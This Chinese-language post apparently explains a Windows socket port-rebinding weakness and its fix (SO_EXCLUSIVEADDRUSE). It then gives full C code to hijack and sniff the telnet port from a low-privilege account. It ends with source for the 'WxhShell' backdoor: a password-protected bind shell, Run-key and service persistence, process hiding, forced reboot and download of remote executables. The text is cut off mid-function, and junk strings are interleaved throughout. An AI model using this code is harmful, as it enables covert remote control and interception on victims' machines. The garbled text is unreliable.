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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :"^$7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y`Rf E @T T[H*, saddr.sin_family = AF_INET; jV8><5C vpMv saddr.sin_addr.s_addr = htonl(INADDR_ANY); auv\fR : an$h~}/6: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Mqy`j9FbL Ku# _ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;W"[,#2TM r
+fzmb 这意味着什么?意味着可以进行如下的攻击: 3sNq3I ]+S QS^4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )FCqYCfk n(MEG'9} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I!bZ-16X y%AJ>@/; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \FM- FQK 1+#8} z: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 yLX\pkAt4 |0
VP^md 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {,X(fJ sa?;D 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %stktVDAP b
/ySt< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2y,wN"qH* ^6n]@4P #include cPYQ<Y= #include lUz@Em #include bvKi0- #include YWdvL3Bgk, DWORD WINAPI ClientThread(LPVOID lpParam); _X/`4 G int main() z@j&vW { D.}b<kDD WORD wVersionRequested; :
Dlk`? DWORD ret; '{~ej: WSADATA wsaData; v|z1nD!?] BOOL val; ,%^0 4sl SOCKADDR_IN saddr; )}v2Z3: SOCKADDR_IN scaddr; + u+fEg/A int err; x(~l[hT SOCKET s; G[ea@u$? SOCKET sc; /cn_|DwN5 int caddsize; k[m-"I%ZFX HANDLE mt; |@F<ajlV DWORD tid; 3@JwL{C wVersionRequested = MAKEWORD( 2, 2 ); j.*}W4`Q_ err = WSAStartup( wVersionRequested, &wsaData ); G_@H:4$3 if ( err != 0 ) { 04TV./uA printf("error!WSAStartup failed!\n"); 9|,AhyhO return -1; (@9-"W } `x3c},'@k saddr.sin_family = AF_INET; &~EOM :Vc9||k //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FS0SGBo V7<}
;Lzm saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7y&`H saddr.sin_port = htons(23); %,BJkNV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t/w>t! q { :#vrNg(M printf("error!socket failed!\n"); e$Ej7_.#; return -1; 4!wfh)Z } >?tpGEZ\ val = TRUE; 4k8 @u //SO_REUSEADDR选项就是可以实现端口重绑定的 UF
tTt`N2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XR(kR{yo { t1S\M%? printf("error!setsockopt failed!\n"); SV >EB;< return -1; n@f@-d$m\< } RY&~{yl$"1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5{UGSz 1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GzX@Av$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S6uBk"V! lK0coj1+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) coBxZyM 1} { 2_p/1Rs ret=GetLastError(); e BPMT printf("error!bind failed!\n"); {^F_b% a4z return -1; hO8B]4=&* } a,.9eHf listen(s,2); ESAh(A)8 while(1) y!j1xnzki { \BA_PyS?W+ caddsize = sizeof(scaddr); (Y%}N(Jg //接受连接请求 {.AFg/Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6aL`^^ if(sc!=INVALID_SOCKET) dJk.J9Z { !#QD;,SE+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :Fh*4
&Z if(mt==NULL) }0
Z3Lrv { ugz1R+f_4{ printf("Thread Creat Failed!\n"); TSeAC[%pL break; 3't?%$'5 } IlY,V } G 7u85cie CloseHandle(mt); h4U .wk } '(?@R5a closesocket(s); ]GJskBm WSACleanup(); MEE]6nU return 0; LYT0 XB)A } 'yl`0,3wV DWORD WINAPI ClientThread(LPVOID lpParam) -H{{ { Kgcg:r: SOCKET ss = (SOCKET)lpParam; `C3F?Lch SOCKET sc; ~be&T:7. unsigned char buf[4096]; GCrMrZ6 SOCKADDR_IN saddr; aDs[\' long num; >PTq5pk DWORD val; XS>4efCJ DWORD ret; J?{uG8) //如果是隐藏端口应用的话,可以在此处加一些判断 ?U&onGy //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Xa36O5$4]9 saddr.sin_family = AF_INET; j&F&wRD%r saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); umc!KOkL saddr.sin_port = htons(23); 4JucNGv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u
VB&DE { |b|p0Z%7{ printf("error!socket failed!\n"); Q-AN~k8+)[ return -1; A\:M}D-( } l#Iof)@# val = 100; F$.M2*9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zk?lNs { *fl1
=Rfr ret = GetLastError(); !JJY(o return -1; F4*f_lP } 9K)2OX;$w if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hsi#J^n{ { 3=`UX ret = GetLastError(); 7p{lDQ return -1; .S[5CO^ } [qc90)^Q, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wEk9(| { /#blXI printf("error!socket connect failed!\n"); |>m@]s7Z closesocket(sc); ?=6zgb"9- closesocket(ss); ]F,5Oh :OY return -1; (UpSi6?\ } ~s+\Y/@A while(1) ).LJY<A { h.PY$W< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Bdf3@sbM] //如果是嗅探内容的话,可以再此处进行内容分析和记录 NVP~`sxiZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 07n=H~yU num = recv(ss,buf,4096,0); |= ~9y"F if(num>0) 5'@}8W3b send(sc,buf,num,0); g=b'T- else if(num==0) W;2y.2* break; (ue;O~ num = recv(sc,buf,4096,0); /6g*WX2P1 if(num>0) 5<9}{X+@o send(ss,buf,num,0); od!TwGX else if(num==0) 7&2xUcsz) break; Dzb@H$BQ7 } [<6ez;2q' closesocket(ss); ~Xa >; closesocket(sc); l]GLkE return 0 ; |ML|P\1&V } ktnsq&qNL 1_%3cN. 21W>}I"0? ========================================================== s+,JwV?b .F |yxj;I7 下边附上一个代码,,WXhSHELL @N34 Q-l ho 4~-xmN ========================================================== fi`*r\ &!_>J0 #include "stdafx.h" (|<}q-wO G3m+E;o1 #include <stdio.h> zoA]7pG- #include <string.h> 6~j6M4* #include <windows.h> Iq(BH^K #include <winsock2.h>
5@+4>[tw #include <winsvc.h> .-uH ax0 #include <urlmon.h> pFhznH{0 ;=aj)lemCr #pragma comment (lib, "Ws2_32.lib") _A1r6 #pragma comment (lib, "urlmon.lib") 1#6c
sZW5 ]v$VZ' #define MAX_USER 100 // 最大客户端连接数 eWE7>kwh #define BUF_SOCK 200 // sock buffer W
A-\2 #define KEY_BUFF 255 // 输入 buffer 'jqkDPn .*i.Z #define REBOOT 0 // 重启 l.El3+ #define SHUTDOWN 1 // 关机 Sw%^&*J /GqW1tcO #define DEF_PORT 5000 // 监听端口 +uLl3(ml 5V]!xi #define REG_LEN 16 // 注册表键长度 sBt,y_LW #define SVC_LEN 80 // NT服务名长度 -6@#Nq_iWU Xnpw'<~X // 从dll定义API d=yuuS/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 22(7rUkI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gg8F>y<[R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "KSzn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u8 Q`la M:rE^El // wxhshell配置信息 &( aw struct WSCFG { /{|JQ'gqX int ws_port; // 监听端口 ZuH@qq\ char ws_passstr[REG_LEN]; // 口令 J4"?D9T3G int ws_autoins; // 安装标记, 1=yes 0=no &C6Z-bS" char ws_regname[REG_LEN]; // 注册表键名 LB$#]
Z char ws_svcname[REG_LEN]; // 服务名 )T&ZiHIJ3 char ws_svcdisp[SVC_LEN]; // 服务显示名 gd#+N]C_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 E.45s? r char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `r+zNJ@q int ws_downexe; // 下载执行标记, 1=yes 0=no 4zzJ5,S 1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" gLy1*k4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z^wogIAV wO.T"x%X }; "V'<dn B
OKY
X // default Wxhshell configuration EIug)S~ struct WSCFG wscfg={DEF_PORT, sYE| "xuhuanlingzhe", :"{("!x 1, eaB6e@]@ "Wxhshell", h6`v%7H? "Wxhshell", ]O]6O%.ao "WxhShell Service", .Yg7V'R1 "Wrsky Windows CmdShell Service", Y#7sDd!N| "Please Input Your Password: ", =jz [}5 1, )jm!bR` " http://www.wrsky.com/wxhshell.exe", N.(wR "Wxhshell.exe" b
v5BV }; 4z6kFQgu |q!O~<H@ // 消息定义模块 QN)EPS:y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *QH~z2:[ char *msg_ws_prompt="\n\r? for help\n\r#>"; xU9T8Lw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 5d|hP4fEc char *msg_ws_ext="\n\rExit."; fkk&pu char *msg_ws_end="\n\rQuit."; ON [F char *msg_ws_boot="\n\rReboot..."; #l 7(WG char *msg_ws_poff="\n\rShutdown..."; !A":L0[7n char *msg_ws_down="\n\rSave to "; <Ukeq0 Smg z} char *msg_ws_err="\n\rErr!"; [SJ3FZ< char *msg_ws_ok="\n\rOK!"; #7v=#Jco Qv1<)&Ft< char ExeFile[MAX_PATH]; 0Sx$6:-~ int nUser = 0; qg1tDN`s HANDLE handles[MAX_USER]; r|av|7R int OsIsNt; T]oVNy zPm|$d SERVICE_STATUS serviceStatus; *{<460`!q SERVICE_STATUS_HANDLE hServiceStatusHandle; w Dp5HZ> 0H!J // 函数声明 $-AG$1 int Install(void); ,)?!p_*@: int Uninstall(void); L+K,Y:D!W int DownloadFile(char *sURL, SOCKET wsh); Tji* \<? int Boot(int flag); ,B 2p\ void HideProc(void); 'u}OeS"f int GetOsVer(void); ze"`5z26| int Wxhshell(SOCKET wsl); #V9do>Cu% void TalkWithClient(void *cs); MMU>55+- int CmdShell(SOCKET sock); XmJ ?oPr7 int StartFromService(void); dC>[[_ int StartWxhshell(LPSTR lpCmdLine); BK]5g[
FQ_a=v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,,8'29yEq VOID WINAPI NTServiceHandler( DWORD fdwControl ); #kQ1,P6,( >lkjoEVQ // 数据结构和表定义 SiLWy=qbR SERVICE_TABLE_ENTRY DispatchTable[] = H"NBjVRU% { xcE2hK/+ {wscfg.ws_svcname, NTServiceMain}, M.qE$ {NULL, NULL} TdeHs{| }; XcFu:B weH;,e*r // 自我安装 N1fPutl$a int Install(void) lK Ry4~O { ROi_k4Fj char svExeFile[MAX_PATH]; Uc<BLu; HKEY key; \ v2-}jU( strcpy(svExeFile,ExeFile); ^^z_[Ih `|p8zV // 如果是win9x系统,修改注册表设为自启动 ;q?WU>c{? if(!OsIsNt) { F]GX;<` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c8h71Cr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BN1,R] *; RegCloseKey(key); kF-7OX0) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EG!Nsb^, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "M}3T?0 O RegCloseKey(key); yYH>~, return 0; w!r.MWE } G?+0#?'Y } _a\$uVZ } * `3+x else { L_5o7~`0 yk0^m/=C( // 如果是NT以上系统,安装为系统服务 ZFC&&[%-sG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }xJ!0<Bs if (schSCManager!=0) @{@DGc { 6
m%/3>q SC_HANDLE schService = CreateService /"@k_[O ( 9]gV#uF schSCManager, LS/ZZAN u wscfg.ws_svcname, Bo4iX,zu wscfg.ws_svcdisp, AzMX~cd SERVICE_ALL_ACCESS, RDxvN:v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Um!LF"Z SERVICE_AUTO_START, 3ih:t'N- SERVICE_ERROR_NORMAL, 8;i'dF:) svExeFile, ]D_
AZI NULL, yRWZ/,9x NULL, 1}q(Pn2 NULL, )uO 3v NULL, E?h'OR@_ L NULL k $E{'Dv ); kS62]v] if (schService!=0) F%I*m^7d { uQl=?085 CloseServiceHandle(schService); +{\b&q_ CloseServiceHandle(schSCManager); 9w<k1j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~pw%p77)
strcat(svExeFile,wscfg.ws_svcname); ^Sc48iDc if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OzV|z/R2' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]Wn=Oc{F RegCloseKey(key); 5Z_aN|Xn return 0; _N"c,P0 } Q"k #eEA } .-:@+=( CloseServiceHandle(schSCManager); YR"IPyj } vMYEP_lhK, } 2Uy}#n|)r V9;O1 return 1; )U+&XjK } :+<GJj_d+ ~>uu1[/ // 自我卸载 ,-V7~gM%} int Uninstall(void) Lpk`qJ { @<$_X1)s HKEY key; ;HmQRiCg ^.>XDUO F if(!OsIsNt) { MC_i"P6a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ux"<? RegDeleteValue(key,wscfg.ws_regname); OSkBBo]~z RegCloseKey(key); \4|osZ0y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lf+3nN RegDeleteValue(key,wscfg.ws_regname); 6oLZH6fG RegCloseKey(key); to#T+d.(v return 0; ui&^ m, } )QB9zl: } ogJ>`0 +J } 72sBx3 ; else { J%P{/ nR
w/wU~~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4EFP*7X if (schSCManager!=0) =UV=F/Af^ { }/VSIS@Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J1d|L|M if (schService!=0) 5wI j:s { &P(vm@* if(DeleteService(schService)!=0) { 9=G
dj!L CloseServiceHandle(schService); {\5-b:#_ CloseServiceHandle(schSCManager); Ip*[H#h return 0; :i]g+</ } Cgn@@P5ZC CloseServiceHandle(schService); S^ JUQx7 } +zzS CloseServiceHandle(schSCManager); 8_uh2`+Bvb } PF]Vt } J:2Su1"ODh nEh^{6 return 1; baib_-$ } o[>p y0
qq7Dmu // 从指定url下载文件 0zqTX< A int DownloadFile(char *sURL, SOCKET wsh) aR0v qRF { M5l*D'GE] HRESULT hr; &;@U54,wV char seps[]= "/"; \\,z[C char *token; ~f[91m!+ char *file; jIL$hqo char myURL[MAX_PATH]; LJBDB6 char myFILE[MAX_PATH]; q^+Z> YbE1yOJ&m strcpy(myURL,sURL); J!*Pg< token=strtok(myURL,seps); Zq>}SR while(token!=NULL) BXX1G { Wg5i#6y8w file=token; E3E$_<^ token=strtok(NULL,seps); uT{.\qHo } -u%'u~s P8;f^3V(+/ GetCurrentDirectory(MAX_PATH,myFILE); ot.R Gpg% strcat(myFILE, "\\"); :]-? l4(% strcat(myFILE, file); Mta;6< send(wsh,myFILE,strlen(myFILE),0); ]@7]mu:oL send(wsh,"...",3,0); eZ
+uW0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K7$Vl"l if(hr==S_OK) !FR1yO'd> return 0; Yq%D/dU8 else P7p'j return 1; Nx"v|" JulxFjC } 1@A*Jj[R%
Abf=b<bu // 系统电源模块 a3oSSkT int Boot(int flag) m&Lc." { kn|z HANDLE hToken; rFR2c?j8 TOKEN_PRIVILEGES tkp; M)!:o/!c S }lt]]094, if(OsIsNt) { N3g?gb"Ex) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QTjOLK$e$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !;YQQ<D tkp.PrivilegeCount = 1; 2\=cv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T+|V;nP. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 05m/iQ if(flag==REBOOT) { {cBLm/C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G.c@4Wz+ return 0; ?4}EhXR( } UT7".1H else { =m=utd8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gg9NG`e6I return 0; 7<VfE`Q3 } ~+Da`Wp } wuTCdBu6hU else { "RJf2~(ZX if(flag==REBOOT) { ))>)qav if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @7*Ag~MRb return 0; er0ClvB } n"{oj7E0a else { :}18G}B if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -/#tQ~{gs return 0; q3E_.{t } '((Ll } WtTwY8HC P'6(HT>F? return 1; !S',V&Yb } kM\O2ay k&P_ c // win9x进程隐藏模块 !&Q3>8l void HideProc(void) $zBG19 [% { \HOOWaapN E$[\Fk}S HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Az2$\ if ( hKernel != NULL )
<&'r_m { R`:NUGR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^50/.Z> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U<
p kg FreeLibrary(hKernel); <`q|6XWL } _k@{>
?(a Q( KLx ) return;
0fPqO2 } %?EOD=e= 41TB // 获取操作系统版本 e+F5FAMR68 int GetOsVer(void) #={L!"3?e { D4r5wc% OSVERSIONINFO winfo; FBcF winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yX(6C]D GetVersionEx(&winfo); %d9UW Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $0Y&r]' return 1; 0PnW|N0 else OI.2C F return 0; 3HA$k[%7P } [#td 05MtQB // 客户端句柄模块 _rqOzE) int Wxhshell(SOCKET wsl) va8V{q@t' { zY|]bP[NEH SOCKET wsh; -j[n^y'v struct sockaddr_in client; 5@Q4[+5&_ DWORD myID; *[7,@S/<F v[6 BESu while(nUser<MAX_USER) b~b(Ed{r { <5(8LMF int nSize=sizeof(client); 0{Kl5>Z9M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,\DB8v6l\A if(wsh==INVALID_SOCKET) return 1; 9hT^Y,c0 y+?tUSPP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -i'T!Qg1 if(handles[nUser]==0) 9kP!O_ closesocket(wsh); vmOXB#7W else )B*?se]LJ nUser++; ?4Z0)%6 }
jl2nRo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )
ZOmv ZZE return 0; q'2PG@ } ooIMN = u6y\ GsM.a // 关闭 socket %i%Xi+{3 void CloseIt(SOCKET wsh) 1qUdj[Bj { NI(`o8fN closesocket(wsh); "`"j2{9|e! nUser--; ^;s`[f|w ExitThread(0); i:kWO7aP } H]=3^ g64 `CK;,>i // 客户端请求句柄 X{#@ :z$ void TalkWithClient(void *cs) 4'54 { n/@/yJ<EFi i?AZ|Ha[ SOCKET wsh=(SOCKET)cs; Lx?bO`=qg7 char pwd[SVC_LEN]; dY\"'LtF char cmd[KEY_BUFF]; e|Sg?ocR char chr[1]; `z` `d*_ int i,j; B0z.s+. .3|9 ~] while (nUser < MAX_USER) { kFM'?L& {|xwvTlJ if(wscfg.ws_passstr) { G>mgoN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A]U] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sc6wC H //ZeroMemory(pwd,KEY_BUFF); L''0`a. +S i=0; `6mHt6"h while(i<SVC_LEN) { faO8
& UWn}0:6t // 设置超时 i8B%|[nm fd_set FdRead; rpEFyHorJ struct timeval TimeOut; +X*`}-3 FD_ZERO(&FdRead); FYcMvY FD_SET(wsh,&FdRead); ZVp\5V* TimeOut.tv_sec=8; 7Xad2wXn TimeOut.tv_usec=0; iY|YEi8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
GoEIY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dBlOU.B oLr"8R\d>t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Km <Wh= pwd =chr[0]; M?cKt.t if(chr[0]==0xd || chr[0]==0xa) { K%=n \Y pwd=0; }=;>T)QmMO break; R\.huOJh } doR'=@ W i++; (v4 } 5GJ0E Z'X ;2@sn+@ // 如果是非法用户,关闭 socket "ZyHt HAK if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P/I{q s } ^CK)q2K>[ +cV!=gDT send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (J$A send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K<]fElh- T![K
i while(1) { .897Z|$VB 2 !;4mij, ZeroMemory(cmd,KEY_BUFF); YQ]H3GA y{<#pS. // 自动支持客户端 telnet标准 xeI ,Kz." j=0; f]'@Vt> while(j<KEY_BUFF) { 34oLl#q* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <Y orQ> cmd[j]=chr[0]; 44W3U~1 if(chr[0]==0xa || chr[0]==0xd) { -8tA~;p cmd[j]=0; \4j+pU break; Q"Ec7C5eM } 9iF e^^<ss j++; H~ZSw7!M8 } (j~V 9#iDrZW // 下载文件 5dgBSL$A}] if(strstr(cmd,"http://")) { JA{YdB;il send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^TEODKS if(DownloadFile(cmd,wsh)) \W}EyA send(wsh,msg_ws_err,strlen(msg_ws_err),0); lTB!yF.r| else wFJK!9KA8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pt4xUu{ } poe Xi\e!( else { ,oG"wgf zJnVO$A' switch(cmd[0]) { }=|ZEhtOp -1_Z*?=- // 帮助 Z>,X$Y6< case '?': { _#gsR"FZ$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bY2Mw8e% break; ^J
RTi'v } zl:D|h77 // 安装 9#(QS+q~ case 'i': { [*vN`AfE if(Install()) 1}BNG ,n send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jz]c"p- else <dN=d3S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iCK$ o_`? break; O5{XT]: } u.[JYZ
// 卸载 ;Bb5KD case 'r': { vUK>4^{J5 if(Uninstall()) <kSaSW send(wsh,msg_ws_err,strlen(msg_ws_err),0); h]Oplp4\W else :7ngVc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # 0!IUSa break; "B}08C,? } O0{ // 显示 wxhshell 所在路径 U]D.z}0 case 'p': { K%}I}8M char svExeFile[MAX_PATH]; Q#Y3%WF strcpy(svExeFile,"\n\r"); H n!vTB strcat(svExeFile,ExeFile); h(8;7}K send(wsh,svExeFile,strlen(svExeFile),0); U959=e break; cx,A.Lc } +lT]s#Fif // 重启 wY.g-3 case 'b': { i/J NG send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dq?HUb^X if(Boot(REBOOT)) +zdkdS,2< send(wsh,msg_ws_err,strlen(msg_ws_err),0); +r$.v|6 else { /
3k\kkv! closesocket(wsh); 5lxq-E3 ExitThread(0); z{g<y^Im+E } I7PWOd break; 5tU"|10m3 } @c!67Z // 关机 GnOo+hB case 'd': { lDU:EJ&DHE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !5OMAWNU@ if(Boot(SHUTDOWN)) BNCJT$tYX send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOxdq"E else { [U(&Ae0V> closesocket(wsh); zzQH@D1 ExitThread(0); 62x< rph } &&]!+fTZ\( break; $M`;." } sYA-FO3gh // 获取shell is?&%VY case 's': { _<a)\UR CmdShell(wsh); 4@e!D Du closesocket(wsh); >ij4z
N ExitThread(0); /V<`L break;
t MZ(s } ?+O|mX}`- // 退出 d95N$n
case 'x': { GQ0 (&I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W79A4l< CloseIt(wsh); c'+r[rSn1 break; ;]M67ma7C } ba9<(0` // 离开 1ysLZ;K case 'q': { ]XGn2U\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9BD|uU;0 closesocket(wsh); }PIB b WSACleanup(); .XKvk(9 exit(1); V&oT':%q break; TcLaWf!c5 } H8BO*8} } 7oe@bS/Z } y}-S~Ov>I .(1j!B4^ // 提示信息 0^&R7Rv c if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xnQGCw?S&} } O4PdN? } e~s7ggg2k '+I
2$xE return; K}=8:BaUL } UVCMB_T .&Pe7`.BE // shell模块句柄 i5<Va@ru!s int CmdShell(SOCKET sock) Wx|6A#cg! { <oaBh)=7 STARTUPINFO si; }
o"_#\6 ZeroMemory(&si,sizeof(si)); ~<aeA'>OA si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HjK<)q8b si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?*R^?[ PROCESS_INFORMATION ProcessInfo; SxW}Z_8x char cmdline[]="cmd"; p@8^gc CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KO]?>>5S6 return 0; FV6he[, } 7k t7^V< =E}%>un // 自身启动模式 `{|}LFS> int StartFromService(void) &Y>~^$`J { \m~\,em typedef struct v6P~XK}G { R`C_CsXir DWORD ExitStatus; W8yfa[z~J DWORD PebBaseAddress; ;Q>3N( DWORD AffinityMask; W3V{Xk| DWORD BasePriority; LYy:IBI7_ ULONG UniqueProcessId; T3t~=b>&L ULONG InheritedFromUniqueProcessId; Ul713Bjz } PROCESS_BASIC_INFORMATION; Fma`Cm. mf;^b.mKh PROCNTQSIP NtQueryInformationProcess;
h[|zs>p dI
